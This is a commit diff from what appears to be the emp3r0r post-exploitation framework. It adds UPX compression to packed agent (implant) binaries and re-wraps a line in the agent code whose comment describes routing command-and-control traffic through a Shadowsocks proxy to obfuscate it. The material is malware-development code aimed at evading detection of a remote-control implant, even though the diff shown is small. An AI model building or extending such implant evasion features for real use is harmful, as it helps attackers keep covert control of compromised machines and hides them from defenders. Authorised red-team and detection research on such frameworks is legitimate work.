feature: use upx to further compress packed agent binaries

core/cmd/agent/main.go

@@ -249,7 +249,8 @@ test_agent:
 
 				if agent.RuntimeConfig.UseShadowsocks {
 					// since we are Internet-facing, we can use Shadowsocks proxy to obfuscate our C2 traffic a bit
-					agent.RuntimeConfig.AgentProxy = fmt.Sprintf("socks5://127.0.0.1:%s", agent.RuntimeConfig.ShadowsocksPort)
+					agent.RuntimeConfig.AgentProxy = fmt.Sprintf("socks5://127.0.0.1:%s",
+						agent.RuntimeConfig.ShadowsocksPort)
 					go agent.ShadowsocksC2Client()
 				}
 			}

core/lib/cc/packer.go

@@ -8,10 +8,12 @@ import (
 	"fmt"
 	"io/ioutil"
 	"os"
+	"os/exec"
 	"strings"
 
 	emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data"
 	"github.com/jm33-m0/emp3r0r/core/lib/tun"
+	"github.com/jm33-m0/emp3r0r/core/lib/util"
 	"github.com/mholt/archiver"
 )
 
@@ -64,6 +66,16 @@ func Packer(inputELF string) (err error) {
 		return fmt.Errorf("write to packed file %s: %v", packed_file, err)
 	}
 
+	// upx
+	if util.IsCommandExist("upx") {
+		CliPrintInfo("Using upx to further compress the executable %s", packed_file)
+		cmd := exec.Command("upx", "-9", packed_file)
+		out, err := cmd.CombinedOutput()
+		if err != nil {
+			return fmt.Errorf("Packer: upx: %s (%v)", out, err)
+		}
+	}
+
 	// done
 	CliPrintSuccess("%s has been packed as %s", inputELF, packed_file)
 	return